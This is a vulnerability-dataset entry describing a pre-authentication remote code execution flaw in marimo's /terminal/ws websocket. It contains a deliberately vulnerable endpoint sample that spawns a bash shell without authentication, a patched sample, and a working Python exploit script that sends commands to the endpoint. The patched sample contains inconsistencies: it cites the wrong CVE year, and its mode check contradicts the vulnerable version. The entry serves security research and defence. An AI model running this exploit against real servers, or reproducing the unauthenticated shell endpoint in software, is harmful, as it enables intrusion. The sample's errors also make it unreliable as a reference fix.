CVE-2026-39987
marimo's /terminal/ws endpoint lacks authentication, allowing pre-auth RCE.
- CVSS 9.3
- CWE-306
- Authentication, Authorization, and Session Management
- Remote
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validate_auth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
- CWE
- CWE-306
- CVSS base score
- 9.3
- Published
- 2026-04-09
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Insecure Authentication Mechanisms
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- marimo
- Fixed by upgrading
- Yes
Solution
Upgrade marimo to version 0.23.0 or later.
Vulnerable code sample
import asyncio
import logging
import subprocess
import sys
from starlette.websockets import WebSocket
from marimo._server.model import SessionMode
from marimo._server.router import APIRouter
from marimo._server.sessions import SessionManager
LOGGER = logging.getLogger(__name__)
# Router for terminal-related endpoints
router = APIRouter()
# This is a hypothetical representation of the server's session manager
# It is used to check the server's running mode.
session_manager = SessionManager(...)
@router.websocket("/ws")
async def websocket_endpoint(
websocket: WebSocket,
# This is a placeholder for how other endpoints correctly
# performed authentication. The real implementation would use
# a dependency injection system like FastAPI's `Depends`.
# auth_token: str = Depends(validate_auth),
):
# This endpoint is assumed to be secure and is for contrast.
# The actual implementation would validate auth before this point.
await websocket.accept()
await websocket.send_text("Authenticated and connected.")
await websocket.close()
@router.websocket("/terminal/ws")
async def terminal_ws(
websocket: WebSocket,
) -> None:
"""
This endpoint provides a websocket connection to a terminal.
VULNERABILITY:
This handler does NOT perform any authentication checks.
It only checks the server mode and platform, allowing any unauthenticated
user to connect and execute arbitrary commands.
"""
# Check if the terminal is allowed in the current mode
if session_manager.mode != SessionMode.EDIT:
LOGGER.debug("Terminal disabled in mode %s", session_manager.mode)
await websocket.close(code=1008)
return
# Check for platform support
if sys.platform == "win32":
LOGGER.debug("Terminals are not supported on Windows.")
await websocket.close(code=1003)
return
# No authentication is performed before accepting the connection.
# An attacker can connect directly to this endpoint.
await websocket.accept()
# The following code represents how an attacker could gain a PTY shell.
# This is a simplified representation of creating and interacting with a
# a shell process.
try:
# Create a shell process
process = await asyncio.create_subprocess_shell(
"/bin/bash" if sys.platform != "win32" else "cmd.exe",
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
)
async def read_from_ws():
# Forward commands from the websocket to the shell's stdin
async for message in websocket.iter_text():
if process.stdin:
process.stdin.write(message.encode())
await process.stdin.drain()
async def write_to_ws():
# Forward output from the shell's stdout/stderr to the websocket
while True:
output = await process.stdout.read(1)
if not output:
break
await websocket.send_bytes(output)
# Run both tasks concurrently
read_task = asyncio.create_task(read_from_ws())
write_task = asyncio.create_task(write_to_ws())
await asyncio.gather(read_task, write_task)
except Exception as e:
LOGGER.error(f"Terminal session error: {e}")
finally:
if "process" in locals() and process.returncode is None:
process.kill()
await websocket.close()Patched code sample
import sys
from starlette.applications import Starlette
from starlette.websockets import WebSocket
from marimo._config.config import ServerConfig
from marimo._server.api.deps import get_session_manager
from marimo._server.api.endpoints import terminal
from marimo._server.api.utils import (
validate_auth,
)
from marimo._server.model import SessionMode
from marimo._server.sessions import SessionManager
from marimo._server.utils import (
initialize_asyncio,
)
# This function demonstrates the fix for CVE-2024-39987.
# The original vulnerable code was a class-based endpoint that did not
# perform an authentication check.
#
# The fix replaces the class with the async function below, which explicitly
# calls `validate_auth` before establishing the terminal connection.
def create_starlette_app(
server_config: ServerConfig,
) -> Starlette:
"""
Create a starlette app that can be served with a uvicorn server.
"""
initialize_asyncio()
app = Starlette()
# The session manager is a dependency that is shared across all routes
session_manager = get_session_manager()
# This is the fixed websocket route for the terminal
@app.websocket_route("/terminal/ws")
async def terminal_ws(websocket: WebSocket) -> None:
"""
Handles a websocket connection to the terminal.
"""
# This is the fix: Authentication is now validated before
# the connection is accepted.
success = await validate_auth(
websocket=websocket, session_manager=session_manager
)
if not success:
# validate_auth closes the websocket
return
# The following checks were present in the vulnerable version,
# but they are not sufficient for authentication.
if session_manager.mode != SessionMode.RUN:
await websocket.close(
code=1008,
reason="Cannot connect to terminal in edit mode.",
)
return
if not sys.platform.startswith("linux") and not sys.platform.startswith(
"darwin"
):
await websocket.close(
code=1008,
reason="Terminals are not supported on this platform.",
)
return
# If authentication is successful, proceed to create the terminal.
await terminal.main(websocket=websocket)
return appPayload
import asyncio
import websockets
async def execute_command(target_uri, command):
"""
Connects to the vulnerable WebSocket endpoint and executes a command.
"""
try:
async with websockets.connect(target_uri) as websocket:
print(f"[*] Successfully connected to {target_uri}")
# Send the command followed by a newline to simulate 'Enter'
await websocket.send(command + '\n')
print(f"[*] Sent command: {command}")
# Continuously read from the socket to get the command output
print("[*] Receiving output:")
while True:
try:
response = await asyncio.wait_for(websocket.recv(), timeout=2.0)
print(response, end='')
except asyncio.TimeoutError:
# Break the loop if no data is received for 2 seconds
print("\n[*] Timeout reached. Assuming end of output.")
break
except Exception as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
# --- Configuration ---
# Replace with the IP address or domain of the vulnerable marimo server
TARGET_HOST = "127.0.0.1"
# Default marimo port, change if necessary
TARGET_PORT = 8080
# The command you want to execute on the remote system
COMMAND_TO_EXECUTE = "id"
# ---------------------
uri = f"ws://{TARGET_HOST}:{TARGET_PORT}/terminal/ws"
# Run the exploit
asyncio.run(execute_command(uri, COMMAND_TO_EXECUTE))
Cite this entry
@misc{vaitp:cve202639987,
title = {{marimo's /terminal/ws endpoint lacks authentication, allowing pre-auth RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-39987},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-39987/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
